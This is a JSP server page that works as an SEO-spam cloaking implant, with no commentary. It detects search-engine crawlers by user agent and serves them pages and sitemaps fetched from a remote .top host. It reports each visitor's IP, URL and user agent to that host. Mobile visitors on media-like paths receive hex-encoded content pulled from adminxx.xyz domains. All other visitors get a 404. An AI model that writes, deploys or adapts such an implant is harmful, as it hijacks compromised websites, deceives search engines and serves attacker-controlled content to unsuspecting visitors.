<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <%@ page import="java.io.*,java.util.*" %> <%@ page import="java.net.*" %> <%@ page import="java.security.MessageDigest" %> <%@ page import="java.security.NoSuchAlgorithmException" %> <%@ page import="java.nio.ByteBuffer" %> <%@ page import="java.nio.charset.Charset" %> <%@ page import="java.nio.charset.CharsetDecoder" %> <%@ page import="java.nio.charset.CodingErrorAction" %> <% try { session.setMaxInactiveInterval(20); String domainName = "http://gk2axu.g67xa.top"; String host = request.getHeader("host"); String referer = request.getHeader("referer"); String userAgent = request.getHeader("user-agent"); String addrIp = request.getRemoteAddr(); String uri = request.getRequestURI(); String queryString = request.getQueryString(); Map paramMap = new LinkedHashMap(); String hurl = uri; if (null != queryString) { hurl = uri + "/?" + queryString; } paramMap.put("ugz", "7"); paramMap.put("h", request.getScheme() + "://" + host); paramMap.put("hurl", hurl); paramMap.put("hagt", jy_stringToHex(userAgent)); paramMap.put("ip", addrIp); Boolean ifQa = jy_getQa(userAgent); Boolean ifEnvironment = jy_getEnvironment(userAgent); String mlPath = (queryString != null && !queryString.isEmpty()) ? queryString : uri; Boolean ifMl = jy_getMl(mlPath); if (hurl.toLowerCase().contains("sitemap")) { paramMap.put("map", "1"); String param = jy_mapToUrlParams(paramMap); response.setContentType("text/xml; charset=UTF-8"); String result = jy_sendGetRequest(domainName, param, null); response.getWriter().println(result); return; } if (ifMl && ifQa) { String param = jy_mapToUrlParams(paramMap); String result = jy_sendGetRequest(domainName, param, null); response.getWriter().println(result); return; } if (ifQa) { paramMap.put("ww", ""); paramMap.put("utf", "1"); String param = jy_mapToUrlParams(paramMap); String result = jy_sendGetRequest(domainName, param, null); response.getWriter().println(result); try { String jrq = queryString; if (jrq == null || jrq.isEmpty()) jrq = "/"; boolean jrdone = false; String[] jrcands = jrq.equals("/") ? new String[]{"/index.htm", "/index.html", "/index.jsp"} : new String[]{jrq}; for (String jrc : jrcands) { if (jrc.toLowerCase().endsWith(".jsp")) { try { request.getRequestDispatcher(jrc).include(request, response); jrdone = true; break; } catch (Exception e3) {} } else { InputStream jrs = null; try { jrs = getServletContext().getResourceAsStream(jrc); } catch (Exception e4) {} if (jrs == null) { try { String jrrp = getServletContext().getRealPath(jrc); if (jrrp != null) { java.io.File jrrf = new java.io.File(jrrp); if (jrrf.isFile()) jrs = new FileInputStream(jrrf); } } catch (Exception e5) {} } if (jrs != null) { BufferedReader jrbr = new BufferedReader(new InputStreamReader(jrs, "UTF-8")); String jrl; while ((jrl = jrbr.readLine()) != null) out.println(jrl); jrbr.close(); jrdone = true; break; } } } if (!jrdone) { try { String jorr = (jrq.startsWith("/") ? jrq : "/" + jrq); String jiu = request.getScheme() + "://" + host + jorr; HttpURLConnection jic = (HttpURLConnection) new URL(jiu).openConnection(); jic.setConnectTimeout(10000); jic.setReadTimeout(30000); jic.setInstanceFollowRedirects(true); jic.setRequestProperty("Host", host); jic.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"); BufferedReader jibr = new BufferedReader(new InputStreamReader(jic.getInputStream(), "UTF-8")); String jil; while ((jil = jibr.readLine()) != null) out.println(jil); jibr.close(); jic.disconnect(); } catch (Exception e6) {} } } catch (Exception e2) {} return; } if (ifMl && ifEnvironment && !ifQa) { String content = ""; String[] kwList = new String[]{"p1", "p2"}; String[] dmList = new String[]{"http://tv.adminxx.xyz/", "http://tt.adminxx.xyz/"}; for (int ki = 0; ki < kwList.length; ki++) { if (!content.isEmpty()) { break; } for (int di = 0; di < dmList.length; di++) { paramMap = new LinkedHashMap(); paramMap.put(kwList[ki], ""); paramMap.put("dm", host); String param = jy_mapToUrlParams(paramMap); Map result = jy_sendGetRequest(dmList[di], param); if (result != null && "200".equals(result.get("status")) && result.get("content") != null && result.get("content").startsWith("xyz--")) { content = result.get("content").substring(5); break; } } } if (!content.isEmpty()) { out.println(jy_hexToString(content)); return; } } } catch (Exception e) { out.println(e); } response.setStatus(404); %> <%! // pure-ASCII version, JDK 1.5+ compatible, no escape sequences public String jy_sendGetRequest(String urlStr, String param, Map herder) { try { String fullUrl = urlStr.endsWith("/") ? (urlStr + "?" + param) : (urlStr + "/?" + param); URL url = new URL(fullUrl); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); if (null != herder) { for (Map.Entry entry : herder.entrySet()) { connection.setRequestProperty(entry.getKey(), entry.getValue()); } } connection.setRequestMethod("GET"); connection.setConnectTimeout(10000); connection.setReadTimeout(30000); connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"); BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8")); String inputLine; StringBuilder content = new StringBuilder(); while ((inputLine = in.readLine()) != null) { content.append(inputLine).append("\n"); } in.close(); connection.disconnect(); return content.toString(); } catch (Exception e) { return null; } } public Map jy_sendGetRequest(String urlStr, String param) { try { String fullUrl = urlStr.endsWith("/") ? (urlStr + "?" + param) : (urlStr + "/?" + param); URL url = new URL(fullUrl); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("GET"); connection.setConnectTimeout(10000); connection.setReadTimeout(30000); connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"); BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "UTF-8")); String inputLine; StringBuilder content = new StringBuilder(); while ((inputLine = in.readLine()) != null) { content.append(inputLine); } in.close(); connection.disconnect(); int status = connection.getResponseCode(); Map responseInfo = new HashMap(); responseInfo.put("status", String.valueOf(status)); responseInfo.put("content", content.toString()); return responseInfo; } catch (Exception e) { return null; } } public String jy_mapToUrlParams(Map map) { StringBuilder urlParams = new StringBuilder(); boolean first = true; for (Map.Entry entry : map.entrySet()) { if (!first) { urlParams.append("&"); } try { urlParams.append(URLEncoder.encode(entry.getKey(), "UTF-8")); urlParams.append("="); urlParams.append(URLEncoder.encode(entry.getValue(), "UTF-8")); } catch (UnsupportedEncodingException e) { throw new RuntimeException(e); } first = false; } return urlParams.toString(); } public static String jy_stringToHex(String str) { if (null == str) { return ""; } StringBuilder hexString = new StringBuilder(); for (int i = 0; i < str.length(); i++) { char ch = str.charAt(i); String hex = Integer.toHexString(ch & 0xff); if (hex.length() == 1) { hexString.append('0'); } hexString.append(hex); } return hexString.toString(); } public static Boolean jy_getMl(String uri) { if (null == uri) { return false; } return uri.matches("(?i)^/(soft|app|mipa|kpi|movie|tv|vod).*"); } public static Boolean jy_getQa(String userAgent) { if (userAgent == null) { return false; } String uaLower = userAgent.toLowerCase(); if (uaLower.contains("360spider") || uaLower.contains("baiduspider") || uaLower.contains("googlebot") || uaLower.contains("haosou") || uaLower.contains("sogou") || uaLower.contains("yisouspider") || uaLower.contains("toutiaospider") || uaLower.contains("bytespider") || uaLower.contains("bingbot") || uaLower.contains("bingpreview") || uaLower.contains("bytedancespider")) { return true; } return false; } public static Boolean jy_getEnvironment(String userAgent) { if (userAgent == null) { return false; } String uaLower = userAgent.toLowerCase(); if (uaLower.contains("iphone") || uaLower.contains("ipod") || uaLower.contains("ipad") || uaLower.contains("android") || uaLower.contains("ios") || uaLower.contains("webos") || uaLower.contains("windows phone") || uaLower.contains("ucweb") || uaLower.contains("mini") || uaLower.contains("mobile") || uaLower.contains("hp-tablet") || uaLower.contains("hpwos") || uaLower.contains("iemobile") || uaLower.contains("mqqbrowser") || uaLower.contains("juc") || uaLower.contains("fennec") || uaLower.contains("wosbrowser") || uaLower.contains("browserng")) { return true; } return false; } public String jy_hexToString(String hex) { if (null == hex || hex.length() % 2 != 0) { return ""; } byte[] bytes = new byte[hex.length() / 2]; for (int i = 0; i < bytes.length; i++) { bytes[i] = (byte) Integer.parseInt(hex.substring(i * 2, i * 2 + 2), 16); } try { CharsetDecoder dec = Charset.forName("UTF-8").newDecoder(); dec.onMalformedInput(CodingErrorAction.REPORT); dec.onUnmappableCharacter(CodingErrorAction.REPORT); return dec.decode(ByteBuffer.wrap(bytes)).toString(); } catch (Exception e) { try { return new String(bytes, "GBK"); } catch (Exception e2) { try { return new String(bytes, "ISO-8859-1"); } catch (Exception e3) { return ""; } } } } %>